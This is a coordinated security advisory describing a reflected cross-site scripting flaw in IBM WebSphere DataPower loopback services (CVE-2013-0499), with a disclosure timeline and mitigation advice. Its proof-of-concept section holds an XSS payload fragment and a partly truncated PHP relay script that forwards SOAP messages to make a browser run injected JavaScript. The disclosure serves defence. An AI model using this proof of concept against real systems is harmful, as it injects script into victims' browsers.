SEC Consult Vulnerability Lab Security Advisory < 20130523-0 > ======================================================================= title: JavaScript Execution in WebSphere DataPower Services product: IBM WebSphere DataPower Integration Appliance XI50 vulnerable version: 3.8.2, 4.0, 4.0.1, 4.0.2, 5.0.0 fixed version: not available, config changes CVE number: CVE-2013-0499 impact: Low/Medium homepage: found: 2013-01-28 by: A. Falkenberg SEC Consult Vulnerability Lab ======================================================================= Vendor/product description: ----------------------------- WebSphere® DataPower® appliances simplify, govern, and optimize the delivery of services and applications and enhance the security of XML and IT services. They extend the capabilities of an infrastructure by providing a multitude of functions. URL: Vulnerability overview/description: ----------------------------------- For the purposes of debugging, DataPower provides configuration options to echo requests received from the client. For example, XML Firewall service can be configured to echo requests by choosing the backend as 'loopback'. Other services like Multi Protocol Gateway and Web Service Proxy can be configured to echo requests by setting the variable “var://service/mpgw/skip-backside” in its processing policy. In such configurations, the requests are not sent to a backend server. Without adequate validation and processing, the requests may be echoed back to the client. Loopback services that blindly echo requests should only be used for debugging purposes and not intended to be run in production environments as they can result in potential security threats. For example, if an arbitrary JavaScript embedded request is sent to such services, they will simply echo it back resulting in a potential JavaScript execution vulnerability in the client's browser. URL: Proof of concept: ----------------- The proof of concept was tested on an IBM Xi50 with the backend configured as a "loopback" Web Service. The "loopback" Web Service can be used to execute arbitrary JavaSscript code in a victims browser. Any valid SOAP message sent to the Web service is returned unmodified to the receiver. If the SOAP response of the "loopback" Web Service is parsed by a browser, any JavaScript that is contained within the XML document will get executed. The following PHP script demonstrates a reflected cross site scripting. alert("XML XSS"); '; if(isset($_POST['soapMessage']) and isset($_POST['soapUrl'])){ $soap_do = curl_init(); curl_setopt($soap_do, CURLOPT_URL, $_POST['soapUrl'] ); curl_setopt($soap_do, CURLOPT_CONNECTTIMEOUT, 10); curl_setopt($soap_do, CURLOPT_TIMEOUT, 10); curl_setopt($soap_do, CURLOPT_RETURNTRANSFER, true ); curl_setopt($soap_do, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($soap_do, CURLOPT_SSL_VERIFYHOST, false); curl_setopt($soap_do, CURLOPT_POST, true ); curl_setopt($soap_do, CURLOPT_POSTFIELDS, $_POST['soapMessage']); curl_setopt($soap_do, CURLOPT_HTTPHEADER, array('Content-Type: text/xml; charset=utf-8', 'Content-Length: '.strlen($_POST['soapMessage']) )); $result = curl_exec($soap_do); $err = curl_error($soap_do); header('Content-type: text/xml'); echo $result; exit; } ?>


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Vulnerable / tested versions: ----------------------------- SEC Consult verified the vulnerability in the WebSphere DataPower Appliance XI50. The vendor provided an extended list of vulnerable versions: WebSphere DataPower 3.8.2, 4.0, 4.0.1, 4.0.2, 5.0.0. Vendor contact timeline: ------------------------ 2013-01-30: Sending advisory and proof of concept exploit via encrypted channel. 2013-01-31: Vendor confirms receipt 2013-05-17: Vendor posts security bulletin 2013-05-23: SEC Consult releases coordinated security advisory. Solution: --------- The vendor does not offer a patch. The vulnerability can be prevented by disabling the services to blindly echo requests back. A detailed description can be found on the vendor's site: Advisory URL: ------------- ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ SEC Consult Unternehmensberatung GmbH Office Vienna Mooslackengasse 17 A-1190 Vienna Austria Tel.: +43 / 1 / 890 30 43 - 0 Fax.: +43 / 1 / 890 30 43 - 25 Mail: research at sec-consult dot com Web: Blog: Twitter: EOF A. Falkenberg / @2013